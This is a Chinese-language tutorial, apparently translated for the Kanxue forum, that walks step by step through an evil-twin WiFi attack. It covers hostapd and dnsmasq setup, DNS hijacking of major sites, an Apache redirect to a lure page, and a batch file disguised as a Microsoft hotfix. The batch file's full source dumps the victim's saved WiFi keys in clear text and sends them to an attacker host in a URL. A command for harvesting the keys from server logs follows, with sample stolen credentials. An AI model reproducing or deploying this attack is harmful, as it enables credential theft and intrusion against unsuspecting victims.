简介
假设你可以搭建一个假的无线WiFi接入点,并相应地进行Apache配置以愚弄受害者,这就是我们接下来要做的事。
在这个案例中,我们使用的是一个Alfa 无线网卡和一个以太网连接(在虚拟机下进行),用于可选的Internet访问。你还可以使用虚拟接口完美地运行此攻击,无需任何麻烦。确保您正确地使用接口名称。
使用到的工具:
· hostapd (or airbase-ng)
· dnsmasq (or isc-dhcp-server)
· apache2
· nano or vi Text Editor
· grep
· Secret Sauce
针对上面的所有选择,我选择前者—搭建一个简易的攻击场景。你也可以选择后者,这主要是根据你工具的使用情况
搭建一个AP
介绍
Hostapd
用来创建一个特定类型的接入点,它是开放的,主要用在WPA2加密机制的个人、企业网络攻击。
把所有的东西都放在你的工具里,以便以后使用。
Dnsmasq
适用于配置DNS和DHCP的工具。它可以用于解决设备对DNS请求接收和应答,它也可以用作DHCP服务器给用户分配IP地址。
Apache
基本上,它对于用户就是一个web服务器。但是你可以使用这个功能强大的工具Apache来拓展你的we:b服务器和创建一个虚假WiFi接入点。
虽然在渗透进程中没有必要用到apache 和mysql。hostapd和dnsmasq是在你搭建虚假AP必不可少的两个工具。虽然现在可能会有更先进的技术,根据你攻击的具体案例也可能会用到不同工具。但更先进的技术一般都会用到apache的灵活性和特点。
例子:
假如你要强迫受害设备连接到你的AP,只是进行简单的嗅探和劫持,那你就没必要用到apache
但是万一你想向web响应基于用户发送的请求,你可以利用apache通过多种方法获取到大量的敏感信息。有点迷糊?别担心!点这里,会让你更加深入了解每个相关信息。
我会教你在不同的攻击情景下使用apache, mySQL,在不同角色下渗透不同连接到虚假AP的用户设备像android, iPhone, Macs
但这个以后再说。先让我们继续学习和配置基础的工具例如hostapd,dnsmasq
注意:所有的指令都是在root用户下执行。可以使用sudo指令来登入主账户
安装:
确保系统中安装的是最新版本的工具:
apt update
apt install hostapd dnsmasq apache2
现在创建一个路径,以后就可以把所有的配置文件都放在这里。
cd ~/Desktop
mkdir fakeap/
配置hostapd
创建一个路径来保存配置文件。打开指令窗口,创建一个hostapd配置文件。
nano hostapd.conf
interface=
driver=nl80211
ssid=
hw_mode=g
channel=
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
点击保存,退出文件。根据每次你执行渗透,要记录你的更改
操作频道如果没有选好也会引起问题的。
配置dnsmasq
nano dnsmasq.conf
interface= # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
确保在dnsmasq.conf文件中定义正确的端口。
Parameter Breakdown:
dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250, Network subnet mask is 255.255.255.0 And default lease time is 12 hours.
dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1
dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address
这就是所有的配置。很简单,不是吗?
现在让我们运行服务器和我们的虚假AP
第一步:启动虚假接入点
首先,关闭一些已经在运行并可能会干扰我们进程的工具。
killall network-manager dnsmasq wpa_supplicant dhcpd
启动hostapd并导入你的配置文件
Syntax: hostapd /path/to/configuration/file.conf
cd ~/Desktop/fakeap/
hostapd hostapd.conf
现在你已经启动hostapd并且在运行了,我们需要启动DHCP服务器来给接入用户分配IP地址
第二步:启动DHCP服务
运行dnsmasq,在调试模式下加载配置文件
Syntax: dnsmasq -C /path/to/configuration/file.conf -d
dnsmasq -C dnsmasq.conf -d
可选配置
你可以给dnsmasq创建一个可选的配置文件如fakehosts.conf,这样它就可以将你指定的IP地址劫持导向目标网站。它会简单地告诉用户设备他们点击的网站的服务器就是在我们的指向的IP地址
vi fakehosts.conf
10.0.0.1 apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com
就是这样。只要通过-H指令将文件链接到dnsmasq。然后只要你想攻击的客户设备访问这些网站的流量都会导向我们指定的网站或是一个特殊的用户。
dnsmasq -C dnsmasq.conf -H fakehosts.conf -d
第三步:配置apache2 web服务器
Apache的Rewrite Engine允许我们在进程中可以操作web请求。使用这个技术,我们可以劫持大量的客户设备。不管它是安卓、IOS设备,还是一个windows系统,或是一个Mac。你也可以设定apache web 服务器只攻击某一类型的目标,或者你甚至可以只攻击某一版本的操作系统。很醋!不是吗?
也就是说对不同版本的iOS 9.x 用户 和iOS 10用户设定不同的攻击路径,它也可以实现!
在这里,我们目标是Windows设备,因为它有最多的安装量。所以,相当多的黑客都会window设备作为攻击目标。
编辑apache的默认配置文件来配置rewrite功能。这将会劫持几乎所有的URL包括子目录到我们虚假AP指定的页面
nano /etc/apache2/sites-enabled/000-default
记录下我们添加的路径: /Fixit as an exception. 有区分大小写
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
--> add RewriteEngine On
--> add RewriteCond %{REQUEST_URI} !^/Fixit
--> add RewriteRule ^.*$ /Fixit/
使用你的社会工程学技巧和设计一个精巧的网页来诱惑用户下载和执行你的post请求。你需要在/var/www/html/Fixit/路径下添加index.html。
开启mod_rewrite模式
a2enmod rewrite
你必须重启apache2来更新配置
service apache2 restart
第四步:欺骗DNS请求重定向到apache
运行 dnsspoof工具 将简单地将所有 http (不是 https) 请求重定向到我们的 apache 服务器, 并且不会让受害者访问 internet (如果 ip 转发被禁用)。
如果你是攻击目标域与互联网接入,这方法可能会失效,。在这种情况下, 使用 fakehosts 文件与 dnsmasq
但现在, 我们没有为被攻击设备提供互联网访问, 只是简单的攻击。所以, 运行
dnsspoof -i wlan0 #wlan0 is interface hostapd is operating on
第五步:获取密码
在输出附加数据模式下运行apache 的access.log,通过grep进行输出。
regex将解析导入的加密数据长达20字节SSID/名称、AP验证类型,8 - 64字符WLAN的秘钥。
tail -F /var/log/apache2/access.log | grep -E -o ".?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?"\|"..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?"\|".?.?.?.?.?.?.?.?.?.?.?" | uniq
Command Breakdown:
tail
-F : Tail command with -F parameter with read
last 10 lines of access.log file, wait and display the data as soon as
appended.
Output is then passed on to grep, in real-time
grep:
-E : Interpret PATTERN as an extended regular expression
-o : Print only the matched (non-empty) parts of a matching line, with each such part on a separate output line
uniq: Remove repeated entries
休息一下…
第六步:打包
在/var/www/路径下创建一个叫做“Fixit”目录,有大小写之分
mkdir /var/www/Fixit
第七步:Secret Sauce
The
index.html download link points to my custom file like
Microsoft-Windows-Hotfix.bat. this batch file is not overly complicated,
it will not trip antivirus or be affected by any firewall. If the web
browser works, this will work.
index. html 下载链接指向我的自定义文件, 如 Microsoft-windows-Hotfix. bat。这个批处理文件不太复杂, 它不会触发反病毒软件或受到任何防火墙的影响。如果 web 浏览器正常工作, 这将起作用。
@echo off
SET mypath=%~dp0
netsh wlan export profile > nul
netsh wlan export profile key=clear > nul
setlocal enableextensions enabledelayedexpansion
set /a counter=0
set filecontent=
for %%b in (*.xml) do (
set /a counter=!counter! + 1
:: echo %%b
for /f "delims=" %%a in ('type "%mypath%\%%b"') do (
set filecontent=!filecontent!%%a
)
)
echo !filecontent! > %filename%\data.txt
@rem The next line is platform specific. Sometimes in a diff folder
"c:\Program Files\Internet Explorer\iexplore.exe" microsoftfix.com/"!filecontent!"
一旦受害者执行恶意的 wi-fi 密钥嗅探器, 它将提取和解密 wlan 配置文件, 打开受害者设备上的 ie 浏览器, url 指向 microsoftfix.com (我们的服务器), 并在 url 中捕获 wi-fi 密钥。所有的东西都存储在我们的 apache 日志中 (/var/日志/apache2/访问. log)
我选择了 url, 因为它是发送数据到服务器的最安全的方式。ftp在少数计算机上会被防火墙阻止, 但当受害者下载了文件时, 它意味着浏览器可以在不触发反病毒的情况下用于信息传输。
所有您需要做的是过滤数据的认证类型和秘钥材料 (wi-fi 密码)。我们在步骤5中过滤了, 使用尾部和 grep 命令
rootsh3ll
WPA2PSK
iamrootsh3ll
不需要做任何额外的事情。一切都准备好了, 看着证书的到来。
老实说, 在这个阶段, 这次攻击根本就不是隐形的。很粗略
由看雪论坛翻译小组南极小虾编译,转载请注明来自看雪论坛。